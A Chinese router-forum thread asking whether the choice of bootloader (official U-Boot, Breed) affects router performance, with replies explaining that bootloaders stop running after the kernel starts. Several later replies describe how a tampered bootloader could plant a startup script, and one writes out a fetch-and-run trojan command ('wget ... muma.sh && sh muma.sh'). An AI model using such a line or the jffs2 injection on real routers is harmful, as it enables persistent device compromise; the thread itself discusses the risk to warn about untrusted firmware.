找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
广告投放联系QQ68610888
查看: 6718|回复: 23

uboot对路由器性能有影响吗?

[复制链接]
发表于 2015-12-28 18:30 | 显示全部楼层 |阅读模式
最近有一个问题,用padavan固件,官方uboot点重启有一定可能会死,除了官方uboot还有其它一些比如breed,不死uboot等等。有一个问题就是不同的uboot对路由器运行时的性能有影响吗?路由器操作系统运行时是不是需要uboot参与?还是uboot只负责引导?如果有影响,哪个uboot运行时表现更好呢?或者怎么可以测试?请大神指点。
单选投票, 共有 97 人参与投票 查看投票参与人

投票已经结束

12.37% (12)
48.45% (47)
39.18% (38)
您所在的用户组没有投票权限
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
发表于 2015-12-28 22:01 | 显示全部楼层
就目前已知的而言,只有IBM的PC兼容机在运行Windows 9X或者之前的系统时,BIOS才可能影响系统,因为这些系统不过是运行于DOS上的外壳(Shell)罢了,因此还会用到BIOS中断。这是历史原因造成的,操作系统必须保证BIOS在内存中的完整性。
从 Windows NT 架构开始,只要 Windows 启动,那么BIOS就不再会被使用,甚至被覆盖掉(主要指内存中的中断向量表),他也就不再对操作系统造成影响。
实际上在 Windows 9X 里面BIOS也不是一直在跑,只有在调用BIOS中断时BIOS的中断服务代码才会得到执行权限,中断响应完毕,CPU控制权会立即交还给操作系统。

至于其他的CPU架构,ARM、MIPS等等,则完全不存在这个问题,只要固件的内核启动,那么bootloader就立即失去作用,除非重启不然永远不会再次运行,因为内核启动后就会破坏bootloader的运行环境。

因此“bootloader运行时还要做一些事情”只是在x86上的一种特殊情况。


至于 bootloader 对系统的影响,就路由器来说一般只有两个方面:一是CPU/内存频率,二是内存初始化。

CPU频率是bootloader在启动的最初阶段设定的,一般来说固件是不会改动的;
内存初始化也是由bootloader在启动的最初阶段完成的,因为bootloader需要将自身复制到内存中才能继续运行。

如果bootloader设定CPU/内存频率不准确,或者初始化内存时给内存的参数不准确,那么可能造成固件运行时不稳定,但这是极为少见的,基本不用担心。


至于 led,那是固件设定的,这个锅 bootloader 不背。
同理网口顺序也是由固件设定的,wan口位置颠倒的锅bootloader也不背。


总而言之,bootloader对固件使用乃至路由性能没有什么影响。(一些极端的情况就不考虑了,因为实在是太少见)

评分

参与人数 5恩山币 +9 收起 理由
梦里花落 + 3 一看就是觉得高端、大气、上档次!
luckissy + 3 我手抖了下,加分变扣分了!
琳琅 + 1 涨姿势。。。多谢大神讲解
microywang + 1 感谢大神的breed。
anoid + 1 大神竟然来了😁

查看全部评分

只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2016-1-4 21:33 | 显示全部楼层
html 发表于 2015-12-31 13:58
bootloader 可以修改固件放入或者改点东西吧,比如简单的修改 rootfs_data (也就是overlay的upperdir) 加 ...

那个楼主一直没说啥,还有可能是设备来路不正,或者固件来路不正
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-31 17:52 | 显示全部楼层
html 发表于 2015-12-31 13:58
bootloader 可以修改固件放入或者改点东西吧,比如简单的修改 rootfs_data (也就是overlay的upperdir) 加 ...

jffs2真不算复杂,把原来的启动脚本所在的单元标成unused, 提前构造好压缩的数据放到free_list里面。 这样一个启动脚本就加进去了。留给bootloader的空间完全够干这个
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-31 17:36 | 显示全部楼层
html 发表于 2015-12-31 13:58
bootloader 可以修改固件放入或者改点东西吧,比如简单的修改 rootfs_data (也就是overlay的upperdir) 加 ...

不用在bootloader里面判断固件类型啊,也不用实现完整的jffs2文件系统啊
简单的写个rc.local,里面写上 wget http://muma.com/muma.sh && sh muma.sh,就嫩植入木马了。
然后通过这个脚本就能随意发挥了。
再想想bootloader能改mac pin,能复位系统,能刷系统固件 art,还能刷自身。
所以说通过 bootloader 做坏事是完全有可能的
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-31 13:58 | 显示全部楼层
本帖最后由 html 于 2015-12-31 14:00 编辑
hackpascal 发表于 2015-12-28 22:01
就目前已知的而言,只有IBM的PC兼容机在运行Windows 9X或者之前的系统时,BIOS才可能影响系统,因为这些系 ...

bootloader 可以修改固件放入或者改点东西吧,比如简单的修改 rootfs_data (也就是overlay的upperdir) 加个开机脚本运行点东西, 隐藏深点的修改内核,再高级点可以在某个地方(内存或者flash里面)放点特殊代码让系统去执行。最后这个即便用编程器读出固件对比也发现不了什么的。

这里已经发现一个路由器被黑的家伙了 http://bbs.mydigit.cn/read.php?tid=1507151  访问淘宝的数据都被重定向到某个IP了,什么渠道被黑的还没问出来。
最危险的就是用来路不明的固件了。


只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-30 21:30 | 显示全部楼层
我投“没有影响”
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-30 11:55 | 显示全部楼层
没有影响
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

 楼主| 发表于 2015-12-28 22:05 | 显示全部楼层
hackpascal 发表于 2015-12-28 22:01
就目前已知的而言,只有IBM的PC兼容机在运行Windows 9X或者之前的系统时,BIOS才可能影响系统,因为这些系 ...

谢大神指点
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

 楼主| 发表于 2015-12-28 21:56 | 显示全部楼层
隶笔难书 发表于 2015-12-28 21:31
这个呢不好说。如果说和电脑的BIOS一个道理,那么可以会有一定影响,因为某写BIOS会引起各种问题比如游戏过 ...

等大神ing
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

 楼主| 发表于 2015-12-28 21:55 | 显示全部楼层
hcy42003 发表于 2015-12-28 21:12
大神你自己都不清楚,,,还扣我分。。。555555555.。。。。我说的是实话,希望小菜鸟们不要在意这些细节 ...

我不是做这个的,只是偶尔玩
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-28 21:31 来自手机 | 显示全部楼层
这个呢不好说。如果说和电脑的BIOS一个道理,那么可以会有一定影响,因为某写BIOS会引起各种问题比如游戏过后风扇不转啊,个别Qq版本不能使用啊,这个我都是看见华硕笔记本BIOS修复记录里面的,具体是什么引起的我还是不清楚。那么路由的boot会不会影响也只有开发人员才知道了!
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-28 21:12 | 显示全部楼层
本帖最后由 hcy42003 于 2015-12-28 21:13 编辑
anoid 发表于 2015-12-28 20:21
不同uboot,Y1S同一个固件的LED灯响应可能不太一样,有差别也不影响大家用不死,毕竟某些方面可能有优势 ...

大神你自己都不清楚,,,还扣我分。。。555555555.。。。。我说的是实话,希望小菜鸟们不要在意这些细节,希望我们这些小菜鸟,抓住重点思考,学会编译,学会改配置,学会改源码,学会NADA FLASH地址刷固件,学会TLL焊接,学会更换闪存,学会改装主板,,, 等等等等。

时间宝贵,等成为了真大神,再研究uboot是不是耗资源、占cpu、占内存、占带宽。

评分

参与人数 1恩山币 +1 收起 理由
anoid + 1 我也不知道,所以才问

查看全部评分

只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

 楼主| 发表于 2015-12-28 20:21 | 显示全部楼层
hcy42003 发表于 2015-12-28 19:45
别问这么低级的问题,要是有影响,大家还刷什么不死

不同uboot,Y1S同一个固件的LED灯响应可能不太一样,有差别也不影响大家用不死,毕竟某些方面可能有优势。我不清楚系统运行的时候,uboot有没有在跑,还是初始化的问题。
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

发表于 2015-12-28 19:45 | 显示全部楼层
别问这么低级的问题,要是有影响,大家还刷什么不死

评分

参与人数 1恩山币 -1 收起 理由
anoid -1 没做过这种,不知道是作为BootLoader还是同时做BIOS

查看全部评分

只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

欢迎大家光临恩山无线论坛上一条 /1 下一条

有疑问请添加管理员QQ86788181|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2024-9-28 02:12

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

| 江苏省互联网有害信息举报中心 举报信箱:js12377 | @jischina.com.cn 举报电话:025-88802724 本站不良内容举报信箱:68610888@qq.com

快速回复 返回顶部 返回列表